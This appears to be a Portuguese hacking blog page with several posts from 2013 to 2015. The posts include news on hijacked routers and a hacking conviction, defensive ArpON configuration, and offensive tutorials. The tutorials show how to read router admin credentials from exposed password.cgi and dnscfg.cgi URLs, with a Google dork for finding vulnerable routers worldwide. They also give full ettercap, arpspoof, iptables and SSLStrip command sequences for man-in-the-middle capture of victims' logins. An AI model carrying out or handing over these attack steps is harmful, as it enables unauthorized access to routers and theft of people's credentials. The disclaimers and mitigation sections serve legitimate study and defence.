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quinta-feira, 21 de maio de 2015



No ano passado, veio à tona uma falha que afetava diversos roteadores, era uma coisa simples, mas que provavelmente ninguém havia pensado antes.

Atenção


Antes de qualquer coisa, lembre-se de que testes de penetração e invasão sem autorização são crime de acordo com a Lei "Carolina Diekman" (12.737/2012) e seus autores estão passíveis de reclusão, use o conhecimento com cautela. Recomendo o uso em um ambiente controlado (se possível) ou em sua rede doméstica para fins educacionais somente.

Após tomar conhecimento disso, vamos ao artigo.

Um login normal


Quando se acessa um roteador pela sua interface web, geralmente se faz pelo ip local, algo como:

192.168.1.1

Quando conectados a porta 80 (padrão de comunicação http) o roteador checa as credenciais de login (inexistentes agora obviamente) e redireciona para a página de login, que é algo como (varia de modelo para modelo):

192.168.1.1/login.php

Então o usuário digita suas credenciais e entra no sistema, lindo.

O perigo dentro de casa


Para que seu aparelho possa reconhecer as credenciais, as mesmas precisam estar num banco de dados ou em algum arquivo dentro do router, esse arquivo é o password.cgi (a extensão pode variar de modelo para modelo).

Até aqui nenhum problema, porém e se o arquivo estivesse na raiz do sistema e desprotegido de criptografia ou mesmo qualquer senha? E se ele fosse acessível de qualquer lugar do mundo pela internet? E se os dados de seu hd externo conectado na porta USB do roteador fossem roubados ou um vírus fosse instalado?

Já é de se imaginar o tamanho do problema. Pois bem como isso funciona? Vou falar no próximo tópico.

Finalmente, explorando a falha


Na rede local


Para verificar se seu roteador está vulnerável o teste é simples, abra um navegador e digite o IP de seu aparelho seguido de password.cgi, ficando assim:

192.168.1.1/password.cgi

Recomendo que teste outras extensões de arquivo:

password.txt
password.php
password.html
password.db

E teste também dentro de outras pastas

/cgi-bin/
/data/
/admin/
/login/

Um exemplo de um link de teste "completo" seria:

192.168.1.1/cgi-bin/password.cgi

Pois bem, se em algum teste uma página em branco ou de erro 404 aparecer, o roteador em questão não está vulnerável.

Caso estejam uma página com as duas palavras (usuario:senha) deve aparecer, assim:

admin:123456

Ou ainda:

admin
123456

Nesse caso, salve as credenciais e bom login.

Remotamente


O processo é bem parecido, porém aqui existem diferenças pequenas, uma delas é que será necessário usar o IP externo do roteador; que não haja um sistema de IPS/IDS/Firewall ativo pois o mesmo pode bloquear o acesso e/ou resposta da página a ser testada; e para achar a falha o "código" muda.

Sem mais delongas, vamos lá. Abra o navegador e entre com o IP externo do roteador e o código abaixo:

dnscfg.cgi?dnsPrimary=DNS1&dnsSecondary=DNS2&dnsDynamic=0&dnsRefresh=1

Ficando assim:

200.0.0.0/dnscfg.cgi?dnsPrimary=DNS1&dnsSecondary=DNS2&dnsDynamic=0&dnsRefresh=1

Caso esteja funcionando as credenciais surgirão na tela.

Usando o google


Por meio do código abaixo, pode-se encontrar possíveis falhas em roteadores pelo mundo:

inrul:"dnscfg.cgi?dnsPrimary=DNS1&dnsSecondary=DNS2&dnsDynamic=0&dnsRefresh=1"

O código acima (também conhecido como "dork") é um exemplo básico, use sua imaginação para adicionar mais filtros e achar resultados mais precisos.

Consertando a falha


Um jeito "fácil" de impedir o ataque externo é usando um IPS/IDS/Firewall devidamente configurado de modo a impedir conexões externas no sistema embarcado de seu roteador. Ou então usar as próprias configurações do roteador para impedir a conexão externa, desativando o login remoto.

A melhor saída é atualizar o firmware de seu roteador, porém nem todos os fabricantes liberaram atualizações que corrigissem essa falha, porém não custa verificar na página de suporte do mesmo.

Outro detalhe que às vezes é esquecido, é o de mudar as senhas e logins padrão do seu aparelho e evitar usar como usuário "admin", "administrador", "user" e outras palavras que fazem parte de logins padrão de roteadores, o mesmo serve para senhas, evite "123456", "654321", "senha", "password" e palavras que estão em dicionários pois isso facilita a ação de pessoas mal intencionadas.

Se quiser dar um "up" na sua segurança de rede wireless doméstica confira algumas dicas neste artigo e nesse outro artigo do nosso blog.

Referências


http://blog.inurl.com.br/2015/03/roteadores-vulneraveis-passwordcgi.html


Obrigado por nos visitar e volte sempre!

"Conhecimento não é crime, crime é o que você faz com ele."

quarta-feira, 12 de março de 2014

Uma rede de abrangência mundial de roteadores domésticos seqüestrados foi descoberto por pesquisadores de segurança .

A rede envolve mais de 300 mil roteadores em residências e pequenas empresas que foram tomadas através de brechas no seu software.

Descoberto por pesquisadores da Team Cymru , a rede é pensada para ser um dos maiores envolvendo tais dispositivos.

Ainda não está claro o que as pessoas por trás do ataque pretende fazer com a coleção de roteadores comprometidos.

Em um trabalho de pesquisa que descreve as suas conclusões , a equipe Cymru disse que tinha visto pela primeira vez roteadores de diversos fabricantes diferentes que estão sendo comprometida em janeiro de 2014 .

Estas primeiras vítimas tinha sido na Europa Oriental, mas agora a maioria das máquinas eram no Vietnã com o restante disperso por toda a Europa , bem como um par de outros países , afirmou que a equipe Cymru .

Uma vez que os roteadores foram assumidos, instruções internas foram alteradas para que os servidores já não solicitem ao ISP do seu proprietário para obter a localização de sites que visitam regularmente.

Isto significaria que os atacantes poderiam redirecionar as pessoas para qualquer lugar que eles queriam, injetar seus próprios anúncios em páginas da web das pessoas visitam ou envenenar os resultados de pesquisa que recebem.

Em vez disso, essas consultas foram encaminhadas através de dois endereços IP supervisionados por uma empresa de hospedagem no sul de Londres. Essa empresa ainda tem de responder a um pedido de comentário.

O pesquisador Steve Santorelli da Equipe Cymrudisse que a razão para a criação da rede de roteadores sequestrados ainda estava "misteriosa", já que os atacantes não pareciam ter abusado de seu controle para fins maliciosos.

O ataque tinha algumas semelhanças com um incidente visto na Polônia, que envolveu roteadores domésticos sequestrados sendo redirecionados para sites maliciosos controlados por ladrões hi-tech interessados ​​em pegar as credenciais de login do banco on-line , disse Santorelli .

"É uma evolução definitiva em tecnologia - ir atrás do gateway de internet , não a máquina final ", o Sr. Santorelli disse à BBC em um email. "Nós vemos esses saltos em conceitos a cada poucos anos no cibercrime ".

A Equipe Cymru tinha contactado a aplicação da lei sobre o ataque e ISPs informadas com um monte de clientes comprometidos , disse ele.

Fonte: BBC

quarta-feira, 28 de agosto de 2013

Um homem da Pensilvânia declarou-se culpado hoje a encargos decorrentes da sua participação em um esquema para invadir redes de computadores e venda de acesso a essas redes.

Andrew James Miller, 23 anos, de Devon, Penn., Se declarou culpado perante o Juiz Distrital dos EUA, Mark Wolf no Distrito de Massachusetts de uma acusação de conspiração e duas acusações de invasão de computador.

De acordo com documentos judiciais, de 2008 a 2011, Miller teria invadido remotamente uma variedade de computadores localizados em Massachusetts e em outros lugares, e, em alguns casos, sub-repticiamente instalado "backdoors" para esses computadores. Estas "backdoors" foram projetados para fornecer futuro de nível de administrador ou "root", acesso aos computadores comprometidos.

Entre esses computadores eram também aqueles que pertencem ao Departamento de Energia dos EUA.

De acordo com documentos judiciais, Miller obteve credenciais de log-in para os computadores comprometidos.


Ele e seus co-conspiradores, em seguida, venderam o acesso a essas backdoors, bem como outras credenciais de login, e entre outras coisas, tentou vender a agentes do FBI o acesso à rede corporativa de uma empresa de telecomunicações com sede em Massachusetts, vendeu-lhes o acesso a domínio da Domino Pizza e muito mais.

O acesso vendido por Miller e seus co-conspiradores permitia que pessoas não autorizadas a acessar várias redes de computadores do governo comerciais, educação e formação.

Juiz Wolf programou uma sentença para 19 novembro, 2013. A pena máxima para a contagem de conspiração é de cinco anos de prisão. Uma das acusações de invasão de computadores acarreta uma pena máxima de cinco anos de prisão, envolvendo danos intencionais a um computador protegido, acarreta uma pena máxima de 10 anos de prisão.
 


Fonte: net-security 

quarta-feira, 29 de maio de 2013

Olá pessoal!

Ontem criei um post sobre como hackear um facebook, mas não tinha me ligado que antes disso eu tinha que explicar um pouco melhor o que é o ponto chave daquele ataque, o arp spoofing.

O que é o ARP

Antes de mais nada, o ARP (Address Resolution Protocol) é um protocolo muito usado, com a função de resolver os endereços da camada Network para a camada Link do modelo OSI. Para os que não entenderam, basicamente tudo isso quer dizer transformar IP em MAC Address. Para mais informações ou informações mais precisas de uma estudada em Redes de Computadores, isso é muito importante, ou simplesmente olhe na Wikipedia.

O Spoofing

Spoof é o ato de se mascarar e fingir ser quem não é, falsificar minha identidade, origem ou função, dependendo da situação que estamos lidando. Por exemplo, se eu spoofar meu MAC Address eu vou estar fingindo ser um hardware totalmente diferente, uma máquina totalmente diferente, e provavelmente com um IP diferente, assim em alguns casos, zoando toda a tabela ARP.

O Ataque

Neste exemplo que vou mostrar a seguir, eu vou fazer um arp spoof, para conseguir algumas credenciais. Vou dizer para um computador específico da rede que eu sou o roteador e vou dizer para o roteador que eu sou aquela máquina específica. Este ataque é conhecido como Man in The Middle, porque, estou literalmente no meio da comunicação, e como tudo passa por mim vou poder ver as credenciais passando e assim que passarem capturá-las.

Outra coisa bem interessante que é necessário destacar é que para esse ataque funcionar você precisa estar na mesma rede que seu alvo, porque como eu comentei antes, você tem que ficar entre a máquina e o roteador. Se não estou falando besteira, tem como fazer algo similar remotamente, mas é um pouco mais complicado e envolve mais fatores, então vamos deixar isso de lado por em quanto.

Então vamos lá. Primeiro de tudo temos que descobrir algumas coisas básicas, tipo o nosso gateway e o IP do alvo. Para descobrir o nosso gateway vou utilizar o comando route.


Pronto! Já tenho uma das informações, só rodar o comando e ele já me mostrou o que eu precisava. Agora vou rodar o nmap para descobrir o ip do alvo. Como tenho poucas máquinas ligadas aqui no lab, um ping scan já resolve meu problema, mas caso seja necessário, use algo mais elaborado.

nmap -sP range_de_ip


Neste caso 4 máquinas foram encontradas, descobri anteriormente que a primeira delas é o gateway, meu roteador. O segundo tem como marca do hardware, baseado no MAC Address, Apple. Como não estou tentando atacar meu MacBook e sim um Windows do lado só me resta a 4º opção.

Dica: Eu poderia ter rodado um ifconfig para ver meu ip, mas como nesse caso só um não apresentou a marca então esse é a máquina que rodou o nmap.

Agora de posse dessas duas informações vamos seguir em frente. O próximo passo é descomentar algumas linhas do arquivo etter.conf, para que minha presença no meio dos dois seja imperceptível e funcional.

As linhas que vem ser descomentadas são as seguintes:


No meu caso 168 e 169, pode ser que não seja o mesmo número para você, baseie-se pelas linhas Linux e if you use iptables.

Assim que remover a tralha (#) salve e saia do editor de texto e vamos seguir em frente. O próximo passo é adicionar mais um comando do iptables para fazer o redirecionamento de pacotes.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000


OBS: não tem a mínima relação (acho!) mas sempre que eu uso uma porta diferente de 10000 neste redirecionamento da errado. ;)

Agora falta pouco, só precisamos enviar um "1" para o arquivo ip_forwarding para ativar o redirecionamento de pacotes, para isso use o comando abaixo:

echo 1 > /proc/sys/net/ipv4/ip_forward



Agora sim, tudo pronto, podemos iniciar os comandos que realmente vão fazer o negócio acontecer. Vamos iniciar a captura com o comando abaixo:
ettercap -T -i eth0 -q -M arp:remote /gateway/ /vitima/

Feito isso, agora precisamos para finalizar iniciar o sslstrip para "quebrar" o ssl das páginas. Mas não feche o terminal anterior, deixe o comando rodando e abra um outro terminal para esse:
sslstrip -a -k -f


Agora, assim que alguém naquela máquina conectar em algum site (com auto login marcando aquele "mantenha-me conectado" pode ser que não funcione) qualquer você vai receber no seu terminal as credenciais da pessoa:


E era isso por hoje! Agora você tem o conhecimento básico para por em prática o post de ontem.

Bons estudos!

quarta-feira, 22 de maio de 2013


Introdução

Veremos um pouco sobre o 
SSLStrip
, descobriremos que o uso da conexão segura 
SSL
 não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros. 
O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:

Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de 
sniffing
 tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas 
man-in-the-middle
, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro. 
Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2para usar o SSLStrip e um Windows como alvo. 
* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade. 

Procedimentos

Primeiramente habilitaremos o encaminhamento de pacotes para realizar o 
ARP spoofing
# echo "1" > /proc/sys/net/ipv4/ip_forward 
Agora, vá até o diretório do SSLStrip no BackTrack: 
# cd /pentest/web/sslstrip 
Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080: 
# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 
Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo: 
# python sslstrp.py -a -l 8080 
Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway
# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1 
Em outro terminal: 
# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55 
Você pode acompanhar o tráfego dando: 
# tail -f sslstrip.log 
Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo. 
Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros. 

Como se proteger

O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como 
Man-in-the-middle
DHCP Spoofing
DNS Spoofing
Web Spoofing
Sequestro de sessão SSL
, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela. 
Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:
                 
     FIREWALL  / GATEWAY
                    |
                  SWITCH
                    |
        ---------------------------
        |           |             |
       HOST        HOST          HOST

Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor 
GNU/Linux
 que compartilha a Internet para a rede interna que será instalado o 
ArpON
, e nele, iremos colocar todos os IPs e MACs dos nossos clientes. 
Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho. 
Bem, vamos colocar a mão na massa. Para instalar o ArpON: 
# aptitude install arpon 
Agora, edite o arquivo de configuração do ArpON: 
# pico /etc/default/arpon 
Descomente a linha: 
DAEMON_OPTS="-d -f /var/log/arpon/arpon.log -g -i eth1 -s"
Obs.: Repare que existe um parâmetro nessa linha (
-i eth1
) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é 
eth1
, caso a de vocês seja 
eth0
, não é necessário colocar este parâmetro. 
E mude a linha: 
RUN="no"

Para: 
RUN="yes"
Agora precisamos cadastrar os IPs e MACs dos clientes: 
# pico /etc/arpon.sarpi 
Edite o arquivo da seguinte forma: 
#IP              MAC
192.168.0.5          f5:f5:f5:f5:f5:f5
Obs.: Faça a identação com tabulações. 
Agora é só iniciar o ArpON: 
# /etc/init.d/arpon start 
E acompanhar os logs: 
# tail -f /var/log/arpon/arpon.log 
 Creditos:rik_99(VOL)
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